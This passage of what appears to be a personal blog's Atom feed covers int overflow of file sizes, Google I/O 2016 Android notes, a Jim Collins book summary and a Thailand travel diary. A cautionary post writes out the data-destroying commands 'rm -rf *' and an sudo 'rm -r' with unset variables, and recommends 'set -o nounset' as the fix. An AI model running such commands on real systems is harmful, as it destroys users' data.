</div><p>A 32-bit signed int can deal with ~2GB worth of data.
And if your code is not going to deal with files larger than 2GB, why worry?
But what if someone wants to use the same code for a video file some day?
Or What if someone writes another code to iterate over all the files in the <code>BASE_DIR</code> directory?
Most likely they will be inclined to use int for the final sum as well.
Adding integers in most languages results in int and automatic overflows into a negative number (and even worse, back to a positive number).
The caller code might think that <code>BASE_DIR</code> does not exist.
Therefore, the best future-proofing is to never have file size stored as an integer.
Even, Android platform got it wrong with   
    
    
<a href="https://developer.android.com/reference/android/os/StatFs.html#getBlockSize%28%29?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">StatFs#getBlockSize</a> and corrected it by adding   
    
    
<a href="https://developer.android.com/reference/android/os/StatFs.html#getBlockSizeLong%28%29?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">StatFs#getBlockSizeLong</a>.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/programming" term="programming" label="programming"/></entry><entry><title type="html">Google I/O 2016: Android notes</title><link href="https://ashishb.net/tech/google-io-2016-android-notes/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/google-i-o-2018-android-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Google I/O 2018: Android Notes"/><link href="https://ashishb.net/tech/google-io-2017-android-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Google I/O 2017: Android Notes"/><link href="https://ashishb.net/tech/when-aggregation-works-and-when-it-doesnt/?utm_source=atom_feed" rel="related" type="text/html" title="When aggregation works and when it doesn't"/><link href="https://ashishb.net/tech/the-android-chrome-merger-saga/?utm_source=atom_feed" rel="related" type="text/html" title="The Android-Chrome merger saga"/><link href="https://ashishb.net/tech/startup-valuations/?utm_source=atom_feed" rel="related" type="text/html" title="Startup valuations"/><id>https://ashishb.net/tech/google-io-2016-android-notes/</id><author><name>Ashish Bhatia</name></author><published>2016-05-19T08:11:46+00:00</published><updated>2016-05-19T08:11:46+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the latest Android features and techniques including multitasking, notifications, and image optimization. Learn tips on enhancing app performance.</blockquote><h3 id="general">General</h3>
<ol>
<li>Multitasking -   
    
    
<a href="https://developer.android.com/preview/features/multi-window.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">multi-window</a> mode and   
    
    
<a href="https://developer.android.com/preview/features/picture-in-picture.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">picture-in-picture</a> mode. This includes the ability to launch window in adjacent activity, and drag and drop between activities.</li>
<li>Notifications - Custom quick settings   
    
    
<a href="https://developer.android.com/preview/api-overview.html#tile_api?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">tile</a> for an activity</li>
<li>Multi-locale - users can specify locale beyond their primary locale</li>
<li>  
    
    
<a href="https://developer.android.com/preview/features/scoped-folder-access.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ScopedDirectoryAccess</a> for the shared storage</li>
<li>New file-level encryption mode (as opposed to block-level encryption) and the corresponding   
    
    
<a href="https://developer.android.com/preview/features/direct-boot.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Direct Boot</a></li>
<li>Java 8, Jack, and ndk support in Gradle</li>
<li>GCC deprecated in favor of Clang</li>
</ol>
<h3 id="techtalk-on-image-sizecompression">TechTalk on Image size/compression</h3>
<ol>
<li>PNG - Get image down to 256-bit palette (if possible) or compress them using   
    
    
<a href="https://github.com/google/zopfli?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Zopfli</a>. Test the difference with   
    
    
<a href="https://github.com/google/butteraugli?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">butteraugli</a></li>
<li>Convert PNG to Vector drawable using   
    
    
<a href="https://potrace.sourceforge.net/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Potrace</a>. Vector drawable are natively supported on Android 5.0 and above. Use   
    
    
<a href="https://medium.com/@chrisbanes/appcompat-v23-2-age-of-the-vectors-91cbafa87c88?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">compat</a> to use them on the older versions. Or generate PNG for the older versions (not recommended)</li>
<li>WebP is another option (Note: Speaker failed to mention that WebP is natively supported only on Android).</li>
<li>Avoid JPEGs. They are usually larger in size.</li>
</ol>
<h3 id="techtalk-on-app-size">Techtalk on App size</h3>
<ol>
<li>Four types of sizes - raw apk size, download size (which includes   
    
    
<a href="https://developer.android.com/google/play/expansion-files.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">expansion files</a>), install size (apk size + oat files + extracted .so files), and update size (  
    
    
<a href="https://www.chromium.org/developers/design-documents/software-updates-courgette?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">binary diff</a>)</li>
<li>Resources.arsc is uncompressed since it has to be memory-mapped - don&rsquo;t manually compress it. Instead, eliminate the bloat in it using   
    
    
<a href="https://github.com/google/android-arscblamer?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">blamer</a></li>
<li>Native libraries are uncompressed. To use them without extraction, use &ldquo;android:extractNativeLibs=false&rdquo; (6.0+ only)</li>
<li>Scrape unused configs using resConfigs</li>
<li>Analyze third-party dependencies using &quot; <code>gradlew app:dependencies&quot;</code></li>
</ol>
<h3 id="techtalk-on-new-app-library">Techtalk on new App library</h3>
<ol>
<li>New   
    
    
<a href="https://developer.android.com/wear/preview/features/notifications.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">MessagingStyle</a> notification and NotificationCompat#areNotificationsEnabled</li>
<li>Faster   
    
    
<a href="https://developer.chrome.com/multidevice/android/customtabs?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Chrome custom tabs</a> with preloading in the background</li>
<li>Dropping support for versions below API 9</li>
<li>Breaking library into multiple modules (similar to how Google Play Services were broken last   
    
    
<a href="https://developers.google.com/android/guides/setup#add_google_play_services_to_your_project?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">year</a>)</li>
</ol>
<h3 id="techtalk-on-fragments">Techtalk on fragments</h3>
<ol>
<li>ChildFragment creation was a mess and Google is trying to fix that.</li>
<li>Don&rsquo;t use Fragments when a ViewGroup will suffice.</li>
<li>New FragmentTransaction#commitNow for synchronous commits but without side-effects of   
    
    
<a href="https://developer.android.com/reference/android/app/FragmentManager.html#executePendingTransactions%28%29?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">executePendingTransactions</a>.</li>
<li>Fragments allow high-level integration since they automatically plug themselves into activity life-cycles</li>
<li>Use Activity#onInflate to provide config key etc. to a third-party fragment.</li>
<li>There were tons of questions related to how to deal with IllegalStateException which happens when a FragmentTransaction is committed after Activity#onSaveInstanceState has been executed. Google&rsquo;s answer was &ldquo;it depends on the situation&rdquo;.</li>
</ol>
<h3 id="techtalk-on-themes-and-styles">Techtalk on themes and styles</h3>
<ol>
<li>Themes and styles are both collections of key: value pairs (or key:value-type:value triplet)</li>
<li>Styles are used for styling a View while Theme is used for setting the theme at the Activity level</li>
<li>Themes inherit while styles overlay</li>
</ol>
<h3 id="techtalk-on-effectively-using-android-studio">Techtalk on effectively using Android Studio</h3>
<p>The session was filled with effective use of Android Studio. Some useful tips are listed below</p>
<ol>
<li>Multi-cursor   
    
    
<a href="https://www.developerphil.com/android-studio-tips-of-the-day-roundup-4/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">editing</a> using Cmd + Shift + 8</li>
<li><code>Ctrl-shift-&lt;n&gt;</code> for adding bookmark, use <code>ctrl-&lt;n&gt;</code> to jump to that line</li>
<li><code>_Object._ &lt;Cmd-J&gt;</code> to see possible auto-generated code completion options on the <code>_Object_</code>.</li>
<li>Ctrl-shift-space for smarter auto-completion</li>
<li>  
    
    
<a href="https://github.com/pavlospt/Android-Studio-Tips-by-Philippe-Breault/wiki/Conditional-Breakpoints?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Conditional breakpoints</a></li>
<li>C++11 support is available (still experimental)</li>
<li><code>adb shell setprop debug.checkjni 1</code> for   
    
    
<a href="https://android-developers.blogspot.com/2011/07/debugging-android-jni-with-checkjni.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">JNI debugging</a></li>
<li>Setting android.defaultConfig.multiDexEnabled = true in the gradle file will   
    
    
<a href="https://developer.android.com/studio/build/multidex.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">produce</a> legacy multi-dex (which uses DexClassLoader) for API &lt; 21 and modern multi-dex (ART supports loading multiple dex files natively). Incremental legacy multi-dex builds are slower than the modern. Therefore, for faster testing and debugging, add two targets, one &lt;21 and one &gt;= 21, and use the latter for debug builds.</li>
<li>At least provide 4GB (Xmx4096m) for gradle to run</li>
</ol>
<h3 id="android-application-architecture-for-next-one-billion-users">Android Application architecture for next one Billion users</h3>
<ol>
<li>In 2000, 25% of 400M users were in the developing world. In 2016, 63% of 3B users are in the developing world.</li>
<li>90% of the urban population has at least 3G. 30% of rural population has at least 3G.</li>
<li>Applications should work in the offline mode. And they should be optimized for bad networks.</li>
<li>For the offline mode, remove the network from the user flow. Use a local persistent model, all user changes will be synced into this model. And the local model will be synced with the remote model when the network is available. Give feedback to the user on the local model change. Network feedback will always update the local model first and that will be synced to the view.</li>
<li>Network and non-network tasks should be in different queues. So, if network tasks are pending, they should not block non-network tasks.</li>
<li>Don&rsquo;t just translate, localize the app.</li>
<li>Text-free layouts are more global.</li>
<li>Fetch lower quality content on 2G (and maybe re-fetch higher quality on 4G)</li>
<li>Autoplay video only on fast networks. Google   
    
    
<a href="https://github.com/google/ExoPlayer?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ExoPlayer</a> automatically supports that.</li>
<li>Rather than pre-fetching content using an AlarmManager, use   
    
    
<a href="https://developer.android.com/reference/android/app/job/JobScheduler.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">JobScheduler</a> (for API &gt;= 21) or   
    
    
<a href="https://developers.google.com/android/reference/com/google/android/gms/gcm/GcmNetworkManager?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">GCMNetworkManager</a> (for older versions).</li>
<li>Pre-fetching should not fill the internal storage. Warn the user before large pre-fetches.</li>
<li>Check for the   
    
    
<a href="https://developer.android.com/reference/android/net/ConnectivityManager.html#isActiveNetworkMetered%28%29?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">metered</a> network and (deprecated)   
    
    
<a href="https://developer.android.com/reference/android/net/ConnectivityManager.html#getBackgroundDataSetting%28%29?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">background data restricted</a> setting.</li>
<li>Search should work locally in the offline state.</li>
<li>Auto-retry user&rsquo;s state-change actions like sending messages. Or at least, show notification on the failure.</li>
<li>Show &ldquo;No Internet connected&rdquo; banner</li>
<li>Batch network requests</li>
<li>When returning a photo URL, return its size as well, so, a good placeholder can be displayed till it is downloaded.</li>
<li>For network-local model interaction, don&rsquo;t think request-response. Think sync.</li>
<li>For network-local model interaction, some versioning might be needed to perform the sync.</li>
</ol>
<h3 id="techtalk-on-recycler-view">Techtalk on Recycler View</h3>
<ol>
<li>ListView was not originally created for the infinite scroll social network streams. Developers started using various undefined features to make it work. That has made it even harder for Google to improve the ListView. Also, the animations are difficult with ListView.</li>
<li>  
    
    
<a href="https://developer.android.com/reference/android/support/v7/widget/RecyclerView.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">RecyclerView</a> was created with infinite scroll streams in mind.</li>
<li>It has a   
    
    
<a href="https://developer.android.com/reference/android/support/v7/widget/RecyclerView.LayoutManager.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">LayoutManager</a> which decides the layout, scrolling, and bringing new items int the focus area.</li>
<li>It has an   
    
    
<a href="https://developer.android.com/reference/android/support/v7/widget/RecyclerView.Adapter.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Adapter</a> which asks &ldquo;what changed&rdquo; not just &ldquo;something changed&rdquo;. The adapter creates the View/ViewHolder, binds an item, notifies the RecylerView, handles clicks and takes care of the recovery.</li>
<li>RecyclerView gets the child from ChildHelper. Use AdapterHelper to synchronize calls to the Adapter.</li>
<li>  
    
    
<a href="https://developer.android.com/reference/android/support/v7/widget/RecyclerView.RecycledViewPool.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">RecyclerViewPool</a> pools unused ViewHolders (to avoid memory allocation/deallocation).</li>
<li>  
    
    
<a href="https://developer.android.com/reference/android/support/v7/widget/helper/ItemTouchHelper.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ItemTouchHelper</a> takes care of Drag and Drop.</li>
<li>  
    
    
<a href="https://developer.android.com/reference/android/support/v7/widget/RecyclerView.ItemDecoration.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ItemDecoration</a> is used for drawing on the RecyclerView canvas.</li>
<li>  
    
    
<a href="https://developer.android.com/reference/android/support/v7/widget/RecyclerView.ItemAnimator.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ItemAnimator</a> is used for animations when an item is added, removed, changed, or moved.</li>
<li>Adapter and layout positions are not always in sync. That&rsquo;s why helpers are important to perform the automatic translation.</li>
</ol>
<p>Note: I missed a session on Espresso UI testing</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/google-io" term="google-io" label="google-io"/></entry><entry><title type="html">Book summary: Great By Choice by Jim Collins</title><link href="https://ashishb.net/book-summary/great-by-choice/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/hard-things-about-hard-things/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Hard Things about Hard Things by Ben Horowitz"/><link href="https://ashishb.net/book-summary/the-lean-startup/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Lean Startup by Eric Ries"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/thinking-in-bets/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Thinking In Bets by Annie Duke"/><link href="https://ashishb.net/book-summary/woke-inc/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Woke, Inc. by Vivek Ramaswamy"/><id>https://ashishb.net/book-summary/great-by-choice/</id><author><name>Ashish Bhatia</name></author><published>2016-05-15T08:21:53+00:00</published><updated>2016-05-15T08:21:53+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the traits that make companies great, from fanatic discipline to productive paranoia, and learn how they capitalize on luck for lasting success.</blockquote><p>The   
    
    
<a href="https://amzn.to/24HWcDS?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> compares a set of 10 pairs of companies over a timeframe of over 20 years to demonstrate what choices the same companies make to become great. The great ones (10Xers) were not led by visionaries, they were not more innovative, they did not try to move too fast, and they were not luckier ones either.</p>
<h3 id="characteristics-of-great-companies">Characteristics of great companies</h3>
<ol>
<li>Fanatic discipline
Great companies aim for consistent growth. They aim for marathons, not sprints. They not only try to maintain their velocity in an adverse environment but also try hard not to over-reach (and exhaust) themselves in favorable conditions.  Southwest started service in ~4 new cities every year, Intel aimed for double the transistor count every 18 months, and Progressive Insurance aimed for a 96%   
    
    
<a href="https://www.investopedia.com/terms/c/combinedratio.asp?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">combined ratio</a>. Just having good intentions don&rsquo;t count, only good outcomes matter.</li>
<li>Empirical creativity
Great companies try a lot of small things (low cost, low risk, low distraction) first before committing themselves to a new direction. They aim with bullets and then after hitting the target fire cannonballs along that trajectory. Southwest copied PSA&rsquo;s model of no-frills low-cost airlines. PSA shoot itself in the foot by heavily investing in the fly-drive-sleep model which failed miserably. Microsoft supported and believed in OS/2&rsquo;s success but had a small team that worked on Windows on the side.  OS/2 failed and Windows won. Steve Jobs started with only two retail stores for Apple and then iterated on them till they were perfected for replication. The invention of the iPod was a bullet in itself, which Apple never expected to become so dominant in the longer run.</li>
<li>Productive Paranoia
<em>You can only learn from the mistakes you survive.</em>
Great companies ensure that they have sufficient margin to deal with a catastrophe. Their balance sheets are more conservative. They take more conservative risks. Their leaders zoom out to check the macro conditions before zooming in back. Southwest had contingency plans before 9/11. While other airlines badly suffered, Southwest became, even more, stronger going through the storm. Motorola 68000 was a superior design, a paranoid Andy Grove recognized and fired back with a better ability to deliver chips on time and by going around the globe winning contracts.</li>
<li>SMaC - Specific, Methodical, and Consistent
Great companies develop a set of SMaC practices that may slowly evolve (as a result of empirical creativity and productive paranoia). Average ones keep changing their targets. Intel was focused on memories, and due to tough competition from the Japanese, they shifted to the processor business (which they were already experimenting with). AMD shifted its target market multiple times from second-sourcing to high-end to customer-centric innovation. Microsoft shifted from a PC to an Internet-centric world in 1994 after realizing its importance.</li>
<li>Return on luck - Great companies don&rsquo;t encounter more lucky moments compared to others. What differentiates them is how well they capitalize on them. It is the bad luck that kills the mediocre ones.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">My rm -rf moment</title><link href="https://ashishb.net/programming/my-rm-rf-moment/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/better-bash/?utm_source=atom_feed" rel="related" type="text/html" title="The first two statements of your BASH script should be..."/><link href="https://ashishb.net/programming/demystifying-android-rendering/?utm_source=atom_feed" rel="related" type="text/html" title="Demystifying Android rendering: Jank and ANR"/><link href="https://ashishb.net/programming/built-in-developer-options-in-android/?utm_source=atom_feed" rel="related" type="text/html" title='Built-in "Developer options" in Android'/><link href="https://ashishb.net/programming/floating-point-in-user-facing-strings/?utm_source=atom_feed" rel="related" type="text/html" title="Floating point in user-facing strings"/><link href="https://ashishb.net/programming/tabs-vs-spaces-for-code-indentation/?utm_source=atom_feed" rel="related" type="text/html" title="Tabs vs spaces for code indentation"/><id>https://ashishb.net/programming/my-rm-rf-moment/</id><author><name>Ashish Bhatia</name></author><published>2016-05-06T06:32:03+00:00</published><updated>2016-05-06T06:32:03+00:00</updated><content type="html"><![CDATA[<blockquote>Learn from a Linux command mishap! Discover how an unset variable led to data loss and the crucial script adjustment to prevent future errors.</blockquote><p>Yes, it did happen, and no, I am not stupid enough to execute <code>rm -rf *</code>. It was a bit more convoluted than that. I was trying to prepare a customized SD card image for the Android emulator. The fastest way to do that was to mount the SD card on my GNU/Linux machine and modify the files. The files on the SD card have root as the owner. Therefore, the easiest way to maintain a clean state was to make all modifications using <em>sudo</em>. My script included a command <code>rm -r ${base_dir}/${old_file}</code>. While executing the script, due to an error, both the variables were not set. It took me a few hours to recover; I never committed the broken script, so, I did not harm anyone else. But since then, my bash   
    
    
<a href="https://github.com/ashishb/dotfiles/blob/master/_bashrc?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">scripts</a> have always included <code>set -o nounset</code>.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/bash" term="bash" label="bash"/></entry><entry><title type="html">Thailand in 4 Days</title><link href="https://ashishb.net/travel/thailand/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/in-a-remote-village-in-thailand/?utm_source=atom_feed" rel="related" type="text/html" title="In a remote village in Thailand..."/><link href="https://ashishb.net/travel/hiking-mt-fuji/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking Mt. Fuji"/><link href="https://ashishb.net/travel/kyoto-japan/?utm_source=atom_feed" rel="related" type="text/html" title="Kyoto in three days"/><link href="https://ashishb.net/travel/tokyo-japan/?utm_source=atom_feed" rel="related" type="text/html" title="Tokyo in three days"/><link href="https://ashishb.net/travel/sri-lanka/?utm_source=atom_feed" rel="related" type="text/html" title="Sri Lanka in 5 days"/><id>https://ashishb.net/travel/thailand/</id><author><name>Ashish Bhatia</name></author><published>2016-04-24T20:17:19+00:00</published><updated>2016-04-24T20:17:19+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the vibrant allure of Bangkok &amp; Pattaya! From bustling markets to serene temples, uncover travel tips and highlights in this unforgettable Thai adventure.</blockquote><h2 id="day-1">Day 1</h2>
<p>Post-immigration clearance at about 6 PM, I took the 
<a href="/travel/public-transport-guide/">Airlink Train</a> to go to   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g293916-d447439-Reviews-Patpong_Night_Market-Bangkok.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Patpong market</a>. One can try a wide variety of local cuisines or a Thai body or facial massage there. There are tons of stalls selling unbranded goods of all variety. Overall, a good start the journey. From there, I headed to   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g293916-d546013-Reviews-Khao_San_Road-Bangkok.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Khao San road</a> which is the backpacker’s paradise of Bangkok. The area is on party 24-hours a day. I did some window shopping and felt that goods being sold on Bangkok streets were significantly expensive than Amazon and Dollar Tree in the US. I stayed at Rainbow 
<a href="/travel/hotels-vs-airbnb-vs-hostels/">Hostel</a> at the end of Khao San road to avoid the noise during the sleep time. The place was good but not great. Thailand, just like India uses water in the toilets, if you are a westerner who has never used water before then carry your own toilet paper around.</p>
<figure>
    
    <a href="IMG_0458-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0458-1024x768.jpg"
         alt="Bangkok" width="900"/> </a>
</figure>

<h2 id="day-2">Day 2</h2>
<p>I started my day with   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g293916-d311043-Reviews-Temple_of_the_Reclining_Buddha_Wat_Pho-Bangkok.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Wat Pho</a> temple, crossed the river via a boat and did   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g293916-d317504-Reviews-Temple_of_Dawn_Wat_Arun-Bangkok.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Wat Arun</a> and then returned to do the   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g293916-d317603-Reviews-The_Grand_Palace-Bangkok.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Grand Palace</a>. I would actually recommend doing the reverse since Grand Palace was crowded by the time I reached there. Grand palace was definitely impressive but compared to Hindu temples, Thai Buddhist temples felt a bit bland and underwhelming. Finally, I headed to Khao San museum, it is a good (and free entry) museum to check out the history of Khao San road. Then, I took a mini-van to Kanchanaburi, which is the city closest to the Tiger temple.</p>
<figure>
    
    <a href="IMG_0461-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0461-768x1024.jpg"
         alt="Wat Pho Temple" width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_0463-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0463-1024x768.jpg"
         alt="Wat Pho Temple" width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_0480-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0480-1024x768.jpg"
         alt="Wat Pho Temple" width="900"/> </a>
</figure>

<h2 id="day-3">Day 3</h2>
<p>I wanted to do Erawan Falls followed by Tiger Temple and some caves in a single day. Public transport is not efficient enough for that. So, I took a 200 Baht a day moped rental.</p>
<figure>
    
    <a href="IMG_0504-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0504-768x1024.jpg"
         alt="A moped stands on a path in a lush, green area" width="900"/> </a>
</figure>

<p>I started with Erawan falls (~60 km drive from Kanchanaburi). The entry is a bit expensive at 300 Baht and additional 20 Baht for the vehicle, but it is impressive inside. There are 7 ponds (7 levels). The best part about the ponds is that the fishes will come and bite dead skin off of your feet. It does not hurt, just tickles. I would recommend swimming in the levels 7, 4 and 2, in that order. The water at Level 7 is crystal clear and looks mesmerizing. Post Erawan falls, I wanted to check out some nearby caves but was getting late for Tiger temple whose entry stops at 3:30 PM. So, I skipped the caves then.</p>
<figure>
    
    <a href="IMG_0533-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0533-1024x768.jpg"
         alt="A serene landscape depicting lush greenery, a river flowing gently in the foreground, with misty hills in the distance, creating a tranquil, natural setting." width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_0570-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0570-768x1024.jpg"
         alt="Erawan Falls" width="900"/> </a>
</figure>

<p>Entry fee for Tiger temple is 600 Baht and the experience is worth it. Do bring a camera. It has several tigers and the guides will take several pictures with them using your camera. Later, in the evening, stay back for cub’s milk feeding event which starts at about 5 PM.</p>
<figure>
    
    <a href="IMG_0592-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0592-768x1024.jpg"
         alt="A tiger cub is drinking milk from a bottle held by a zookeeper" width="900"/> </a>
</figure>

<p>Very few caves are open at that time and Krasae is the only one in the vicinity. Therefore, I headed to Krasae caves after that. It was underwhelming. But there is an amazing local market on the way to it and unlike the usual markets in Bangkok, they don’t try to rip off the foreigners. I took a night mini-van to Bangkok and reached just in time for 11 PM bus from Bangkok to Pattaya. Skipping the caves and taking an earlier direct bus to Pattaya would have been a better choice.</p>
<h2 id="day-4">Day 4</h2>
<p>I started the day with   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g293919-d1438830-Reviews-Big_Buddha-Pattaya_Chonburi_Province.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Big Buddha</a> and it was underwhelming enough that I decided to skip Buddha Mountain. I headed to Pattaya floating market, despite its reviews online being overwhelmingly negative. One has to pay 200 Baht to enter a market (where s/he is going to buy stuff !!!). The staff at the entrance would not even tell you about the 200 Baht option, and will push for 800 Baht/900 Baht full tours. A part of the market was accessible without paying the fee and it was underwhelming enough that I decided to skip the rest. I then took 30 Baht ferry from Bali Hai Pier for Koh Larn island. It takes about 30 minutes to reach the island. I took a 100 Baht/2 hours bike rental on the island. Checking out all beaches was a bit waste of time since   
    
    
<a href="https://www.kohlarn.com/beaches-of-koh-larn.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Naul beach</a> is undoubtedly the best. Do check out the vista point which is at the top of a mountain providing a breath-taking view of the island and the surrounding ocean.</p>
<figure>
    
    <a href="IMG_0707-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0707-1024x768.jpg"
         alt="A mountain offers a breathtaking view of an island and surrounding ocean, indicating a high vantage point." width="900"/> </a>
</figure>

<p>I took the 5 PM ferry back and had an amazing vegetarian meal at   
    
    
<a href="https://www.tripadvisor.com/Restaurant_Review-g293919-d3628657-Reviews-Five_Star_J-Pattaya_Chonburi_Province.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Five J’s restaurant</a>. The last item I wanted to check out in Pattaya was   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g293919-d3611252-Reviews-Art_in_Paradise-Pattaya_Chonburi_Province.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Art of Paradise</a>. The 400 Baht fee might feel steep but the place is fantabulous. They have beautiful art structures which when photographed produce 3-D illusions. A lot of them require the person to be a part of the photo. This is one of the few places where going solo really hurts. While I spent about 1.5 hours at the place, I would recommend reserving 3-4 hours to enjoy all structures.</p>
<figure>
    
    <a href="IMG_0729-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0729-1024x768.jpg"
         alt="Pattaya" width="900"/> </a>
</figure>

<p>This was the end of my sojourn in Pattaya. In the hindsight, taking a bike rental at Pattaya for a day would have been a good choice. I took a direct bus back to the Airport and that was the end of my journey.</p>
